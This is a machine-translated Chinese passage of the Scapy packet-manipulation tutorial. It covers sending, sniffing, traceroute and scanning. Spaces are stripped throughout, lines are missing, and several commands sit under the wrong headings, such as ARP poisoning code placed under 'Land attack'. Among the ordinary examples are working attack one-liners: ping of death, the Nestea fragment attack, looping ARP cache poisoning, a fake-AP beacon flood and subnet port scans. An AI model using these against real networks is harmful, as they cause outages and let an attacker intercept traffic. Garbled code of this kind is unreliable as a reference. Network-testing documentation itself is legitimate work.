scapy的交互式shell在终端会话中运行。发送数据包需要根权限,因此我们正在使用sudo在这里::
$sudoscapy-HWelcometoScapy(2.4.0)>>>在Windows上,请打开命令提示(cmd.exe)并确保您具有管理员权限:
C:\>scapyWelcometoScapy(2.4.0)>>>如果没有安装所有可选软件包,scapy将通知您某些功能将不可用:
本节将向您展示Scapy在python2中的一些特性。只需打开如上所示的Scapy会话,并亲自尝试这些示例。
备注
YoucanconfiguretheScapyterminalbymodifyingthe~/.config/scapy/prestart.pyfile.
让我们构建一个数据包并用它来玩:
>>>a[423].pdfdump(layer_shift=1)>>>a[423].psdump("/tmp/isakmp_pkt.eps",layer_shift=1)命令
效果
原料(PKT)
组装数据包
H-DUMP(PKT)
具有十六进制转储
LS(PKT)
具有字段值列表
概要()
对于一行摘要
pkt.show()
对于包的开发视图
pkt.show2()
与显示相同,但在已组装的数据包上(例如,计算校验和)
pkt.sprintf()
用数据包的字段值填充格式字符串
pkt.decode_payload_as()
更改有效负载的解码方式
pkt.psdump()
用解释的解剖绘制PostScript图表
pkt.pdfdump()
用解释的解剖绘制PDF
pkt.command()
返回可生成数据包的scapy命令
目前,我们只生成了一个包。让我们看看如何轻松地指定数据包集。整个包(任何层)的每个字段都可以是一个集合。这隐式定义了一组数据包,在所有字段之间使用一种笛卡尔积生成。
Ontheotherhand,itispossibletomovesetsofpacketsintoaPacketListobject,whichprovidessomeoperationsonlistsofpackets.
>>>p=PacketList(a)>>>p
summary()
显示每个数据包的摘要列表
nsummary()
与上一个相同,带有数据包编号
conversations()
显示对话图表
show()
显示首选表示形式(通常为nsummary())
filter()
返回用lambda函数筛选的数据包列表
hexdump()
返回所有数据包的十六进制转储
hexraw()
返回所有数据包的原始层的十六进制转储
padding()
返回带有填充的数据包的十六进制转储
nzpadding()
返回具有非零填充的数据包的十六进制转储
plot()
绘制应用于数据包列表的lambda函数
make_table()
根据lambda函数显示表
现在我们知道了如何操作数据包。让我们看看如何发送它们。send()函数将在第3层发送数据包。也就是说,它将为您处理路由和第2层。sendp()函数将在第2层工作。这取决于您选择正确的接口和正确的链路层协议。send()和sendp()如果作为参数传递return_packets=true,也将返回sendpacket列表。
>>>sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S"))上面将向Google的端口80发送一个SYN包,并在收到单个响应后退出:
使用任一标记扫描系统上的端口400到443:
>>>sr(IP(dst="192.168.1.1")/TCP(sport=666,dport=(440,443),flags="S"))或
>>>sr(IP(dst="192.168.1.1")/TCP(sport=RandShort(),dport=[440,441,442,443],flags="S"))为了快速查看响应,只需请求收集数据包的摘要:
>>>ans,unans=sr(IP(dst=["192.168.1.1","yahoo.com","slashdot.org"])/TCP(dport=[22,80,443],flags="S"))Beginemission:.......*.**.......Finishedtosend9packets.**.*.*..*..................Received362packets,got8answers,remaining1packets>>>ans.make_table(...lambdas,r:(s.dst,s.dport,...r.sprintf("{TCP:%TCP.flags%}{ICMP:%IP.src%-%ICMP.type%}")))66.35.250.150192.168.1.1216.109.112.1352266.35.250.150-dest-unreachRA-80SARASA443SASASA如果接收到作为响应而不是预期的TCP的ICMP数据包,则上述示例甚至将打印ICMP错误类型。
对于较大的扫描,我们可能只对显示某些响应感兴趣。下面的示例将只显示设置了“sa”标志的数据包:
>>>ans.filter(lambdas,r:TCPinrandr[TCP].flags&2).make_table(lambdas,r:...(s.dst,s.dport,"X"))66.35.250.150192.168.1.1216.109.112.13580X-X443XXX如果上述所有方法都不够,scapy将包含一个report_ports()函数,该函数不仅可以自动执行syn扫描,还可以生成具有收集结果的Latex输出:
>>>ans,unans=sr(IP(dst=target,ttl=(4,25),id=RandShort())/TCP(flags=0x2))*****.******.*.***..*.**Finishedtosend22packets.***......Received33packets,got21answers,remaining1packets>>>forsnd,rcvinans:...printsnd.ttl,rcv.src,isinstance(rcv.payload,TCP)...5194.51.159.6506194.51.159.4904194.250.107.18107193.251.126.3408193.251.126.15409193.251.241.89010193.251.241.110011193.251.241.173013208.172.251.165012193.251.241.173014208.172.251.165015206.24.226.99016206.24.238.34017173.109.66.90018173.109.88.218019173.29.39.101120173.29.39.101121173.29.39.101122173.29.39.101123173.29.39.101124173.29.39.1011请注意,tcptraceroute和一些其他高级函数已经编码:
在这个例子中,我们使用traceroute_map()打印图形的功能。此方法是使用world_trace的TracerouteResult物体。可以用不同的方法来实现:
>>>conf.geoip_city="path/to/GeoLite2-City.mmdb">>>a=traceroute(["www.google.co.uk","www.secdev.org"],verbose=0)>>>a.world_trace()或如上所述:
scapy提供不同的超级插座:本地的一个,还有一个数据包捕获函数库(发送/接收数据包)。
默认情况下,scapy将尝试使用本地的(exceptonWindows,wherethewinpcap/npcaponesarepreferred)手动使用数据包捕获函数库你必须:
然后使用:
>>>conf.use_pcap=True这将自动更新指向的套接字conf.L2socket和conf.L3socket.
如果您想手动设置它们,那么根据您的平台,您可以使用一组套接字。例如,您可能希望使用:
在多个接口上进行嗅探时(例如iface=["eth0",...]),您可以使用sniffed_on属性,如上面的一个示例所示。
异步嗅探仅在以下情况下可用:SCAPY2.4.3
警告
异步嗅探不一定能提高性能(恰恰相反)。如果您想在多个接口/套接字上嗅探,请记住可以将它们全部传递给单个接口/套接字sniff()调用
可以异步嗅探。这允许以编程方式停止嗅探器,而不是使用ctrl^c。它提供start(),stop()和join()UTILS。
基本用法是:
>>>t=AsyncSniffer()>>>t.start()>>>print("hey")hey[...]>>>results=t.stop()这个AsyncSniffer类有一些有用的键,例如results(收集的数据包)或running,可以使用。它接受的参数与sniff()(实际上,它们的实现是合并的)。例如:
>>>t=AsyncSniffer(iface="enp0s3",count=200)>>>t.start()>>>t.join()#thiswillholduntil200packetsarecollected>>>results=t.results>>>print(len(results))200另一个例子:使用prn和store=False
sniff()还提供会议,允许无缝分割数据包流。例如,您可能需要sniff(prn=...)函数自动对IP数据包进行碎片整理,然后执行prn.
scapy包括一些基本的会话,但它可以实现您自己的会话。默认可用:
这些会话可以使用session=参数sniff().实例:
>>>sniff(session=IPSession,iface="eth0")>>>sniff(session=TCPSession,prn=lambdax:x.summary(),store=False)>>>sniff(offline="file.pcap",session=NetflowSession)备注
如果需要,可以使用:classTLS_over_TCP(TLSSession,TCPSession):pass嗅探经过碎片整理的TLS数据包。
ThelayeronwhichthedecompressionisappliedmustbeimmediatelyfollowingtheTCPlayer.Youneedtoimplementaclassfunctioncalledtcp_reassemblethatacceptsthebinarydata,ametadatadictionaryasargumentandreturns,whenfull,apacket.Let'sstudythe(pseudo)exampleofTLS:
classTLS(Packet):[...]@classmethoddeftcp_reassemble(cls,data,metadata,session):length=struct.unpack("!H",data[3:5])[0]+5iflen(data)==length:returnTLS(data)在这个例子中,我们首先得到由TLS报头公布的TLS有效载荷的总长度,并将其与数据的长度进行比较。当数据达到这个长度时,数据包就完成了,可以返回。实施时tcp_reassemble,这通常是一个检测包何时没有丢失任何其他内容的问题。
这个data参数是字节,并且metadata参数是一个字典,其关键字如下:
BPF过滤器和sprintf()方法的演示:
>>>wrpcap("temp.cap",pkts)要恢复以前保存的PCAP文件:
>>>pkts=rdpcap("temp.cap")或
使用hexdump()要使用经典hexdump格式显示一个或多个数据包,请执行以下操作:
这里我们可以看到一个多并行的traceroute(scapy已经有了一个多TCPtraceroute函数)。见下文):
>>>ans,unans=sr(IP(dst="www.test.fr/30",ttl=(1,6))/TCP())Received49packets,got24answers,remaining0packets>>>ans.make_table(lambdas,r:(s.dst,s.ttl,r.src))216.15.189.192216.15.189.193216.15.189.194216.15.189.1951192.168.8.1192.168.8.1192.168.8.1192.168.8.1281.57.239.25481.57.239.25481.57.239.25481.57.239.2543213.228.4.254213.228.4.254213.228.4.254213.228.4.2544213.228.3.3213.228.3.3213.228.3.3213.228.3.35193.251.254.1193.251.251.69193.251.254.1193.251.251.696193.251.241.174193.251.241.178193.251.241.174193.251.241.178下面是一个更复杂的例子,用来区分机器或它们的IP堆栈与它们的IPID字段。我们可以看到172.20.80.200:22是由与172.20.80.201相同的IP堆栈应答的,而172.20.80.197:25不是由与同一IP上的其他端口相同的IP堆栈应答的。
>>>ans,unans=sr(IP(dst="172.20.80.192/28")/TCP(dport=[20,21,22,25,53,80]))Received142packets,got25answers,remaining71packets>>>ans.make_table(lambdas,r:(s.dst,s.dport,r.sprintf("%IP.id%")))172.20.80.196172.20.80.197172.20.80.198172.20.80.200172.20.80.20120042037021-1156221042047022-1156322042057023115611156425007024-1156553042077025-1156680040287026-11567使用TTL、显示接收到的TTL等,可以很容易地识别网络拓扑结构。
现在,scapy有自己的路由表,这样您就可以以不同于系统的方式路由数据包:
>>>result,unans=_>>>result.show()193.45.10.88:80216.109.118.79:8064.241.242.243:8066.94.229.254:801192.168.8.1192.168.8.1192.168.8.1192.168.8.1282.251.4.25482.251.4.25482.251.4.25482.251.4.2543213.228.4.254213.228.4.254213.228.4.254213.228.4.254[...]>>>result.filter(lambdax:Paddinginx[1])与任何结果对象一样,可以添加traceroute对象:
Providedthatyourwirelesscardanddriverarecorrectlyconfiguredforframeinjection,youcanhaveakindofFakeAP:
>>>sendp(RadioTap()/Dot11(addr1="ff:ff:ff:ff:ff:ff",addr2="00:01:02:03:04:05",addr3="00:01:02:03:04:05")/Dot11Beacon(cap="ESS",timestamp=1)/Dot11Elt(ID="SSID",info=RandString(RandNum(1,50)))/Dot11EltRates(rates=[130,132,11,22])/Dot11Elt(ID="DSset",info="\x03")/Dot11Elt(ID="TIM",info="\x00\x01\x00\x00"),iface="mon0",loop=1)根据驱动程序的不同,获取工作帧注入接口所需的命令可能会有所不同。您可能还必须替换第一个伪层(在示例中RadioTap()通过PrismHeader()或者通过一个专有的伪层,甚至删除它。
使用scapy强大的数据包制作工具,我们可以快速复制经典的TCP扫描。例如,将发送以下字符串来模拟ACK扫描:
>>>ans,unans=sr(IP(dst="www.slashdot.org")/TCP(dport=[80,666],flags="A"))我们可以在应答数据包中找到未过滤的端口:
>>>fors,rinans:...ifs[TCP].dport==r[TCP].sport:...print("%disunfiltered"%s[TCP].dport)类似地,可以使用未应答的数据包找到筛选的端口:
>>>ans,unans=sr(IP(dst="192.168.1.1")/TCP(dport=666,flags="FPU"))检查RST响应将显示目标上的关闭端口。
较低级别的IP扫描可用于枚举支持的协议::
>>>ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0/24"),timeout=2)可以使用以下命令查看答案:
>>>ans.summary(lambdas,r:r.sprintf("%Ether.src%%ARP.psrc%"))scapy还包括一个内置的arping()函数,它执行类似于上述两个命令的操作:
>>>ans,unans=sr(IP(dst="192.168.1.0/24")/ICMP(),timeout=3)可以通过以下请求收集有关实时主机的信息:
>>>ans,unans=sr(IP(dst="192.168.1.0/24")/TCP(dport=80,flags="S"))对探针的任何响应都将指示活动主机。我们可以使用以下命令收集结果:
>>>ans,unans=sr(IP(dst="192.168.*.1-10")/UDP(dport=0))同样,可以使用以下命令收集结果:
这将执行查找IPv4地址的DNS请求
>>>send(IP(dst="10.1.1.5",ihl=2,version=3)/ICMP())死亡之平(穆瓦哈)::
>>>send(fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)))Neesta攻击:
>>>send(IP(dst=target,id=42,flags="MF")/UDP()/("X"*10))>>>send(IP(dst=target,id=42,frag=48)/("X"*116))>>>send(IP(dst=target,id=42,flags="MF")/UDP()/("X"*224))陆地攻击(专为MicrosoftWindows设计)::
经典的ARP缓存中毒:
>>>send(Ether(dst=clientMAC)/ARP(op="who-has",psrc=gateway,pdst=client),inter=RandNum(10,40),loop=1)采用双802.1q封装的ARP缓存中毒:
>>>res,unans=sr(IP(dst="target")/TCP(flags="S",dport=(1,1024)))可能的结果可视化:开放端口
>>>res,unans=sr(IP(dst="192.168.1.0/24")/UDP()/ISAKMP(init_cookie=RandString(8),exch_type="identityprot.")/ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal()))在列表中可视化结果:
>>>res,unans=sr(IP(dst="target",ttl=(1,20))/UDP()/DNS(qd=DNSQR(qname="test.com"))我们可以将结果可视化为路由器列表:
>>>sniff(iface="ath0",prn=lambdax:x.sprintf("{Dot11Beacon:%Dot11.addr3%\t%Dot11Beacon.info%\t%PrismHeader.channel%\t%Dot11Beacon.cap%}"))备注
在Windows和OSX上,还需要使用monitor=True,它只适用于scapy>2.4.0(2.4.0dev+)。这可能需要您手动切换监视器模式。
上面的命令将生成类似下面的输出:
使用scapy发送DHCP发现请求并分析答复:
>>>conf.checkIPaddr=False>>>fam,hw=get_if_raw_hwaddr(conf.iface)>>>dhcp_discover=Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=hw)/DHCP(options=[("message-type","discover"),"end"])>>>ans,unans=srp(dhcp_discover,multi=True)#PressCTRL-CafterseveralsecondsBeginemission:Finishedtosend1packets..*...*..Received8packets,got2answers,remaining0packets在这种情况下,我们得到了2个答复,因此测试网络上有两个活动的DHCP服务器:
>>>ans.summary()Ether/IP/UDP0.0.0.0:bootpc>255.255.255.255:bootps/BOOTP/DHCP==>Ether/IP/UDP192.168.1.1:bootps>255.255.255.255:bootpc/BOOTP/DHCPEther/IP/UDP0.0.0.0:bootpc>255.255.255.255:bootps/BOOTP/DHCP==>Ether/IP/UDP192.168.1.11:bootps>255.255.255.255:bootpc/BOOTP/DHCP我们只对回复的MAC和IP地址感兴趣:
此外,scapy通常确保回复来自刺激发送到的相同IP地址。但是我们的DHCP数据包被发送到IP广播地址(255.255.255.255),任何应答数据包都将以应答的DHCP服务器的IP地址作为其源IP地址(例如192.168.1.1)。因为这些IP地址不匹配,我们必须禁用scapy的检查conf.checkIPaddr=False在发出刺激之前。
筛选操作后的TTL递减只超过未筛选的数据包生成ICMPTTL
>>>ans,unans=sr(IP(dst="172.16.4.27",ttl=16)/TCP(dport=(1,1024)))>>>fors,rinans:ifr.haslayer(ICMP)andr.payload.type==11:prints.dport在多网卡防火墙上查找子网使用此TTL只能访问自己的网卡的IP::
要允许scapy到达目标目的地,必须使用其他选项:
#First,generatesomepackets...packets=IP(src="192.0.2.9",dst=Net("192.0.2.10/30"))/ICMP()#ShowthemwithWiresharkwireshark(packets)wireshark将在后台启动,并显示您的数据包。
用一个Packet或PacketList,序列化您的数据包,并通过stdin好像它是一个捕获设备。
因为它使用pcap格式化以序列化数据包,有一些限制:
使用一个文件名(作为字符串传递),它将在wireshark中加载给定的文件。这需要Wireshark支持的格式。
通过更改conf.prog.wireshark配置设置。
它接受与tcpdump().
参见
wireshark功能及其命令行参数的附加说明。
最新版本的Wireshark。
包含有关wireshark协议解析器的详细信息,以及各种网络协议的参考文档。
Scapy在重负荷下缓慢解剖和/或丢失数据包。
PleasebearinmindthatScapyisnotdesignedtobeblazingfast,butrathereasilyhackable&extensible.ThepacketmodelmakesitVERYeasytocreatenewlayers,comparedtoprettymuchallotheralternatives,butcomeswithaperformancecost.Ofcourse,westilldoourbesttomakeScapyasfastaspossible,butit'snottheabsolutemaingoal.
有很多方法可以加速scapy的解剖。你可以全部使用
>>>ans,unans=srloop(IP(dst="192.168.1.1")/TCP(dport=80,flags="S"))一旦我们获得了合理数量的响应,我们就可以开始分析收集到的数据,如下所示:
>>>load_module("nmap")如果安装了nmap,可以使用它的活动OS指纹数据库和scapy。确保签名数据库的版本1位于以下指定的路径中:
>>>conf.nmap_base然后你可以使用nmap_fp()实现与nmap的OS检测引擎中相同探测的函数: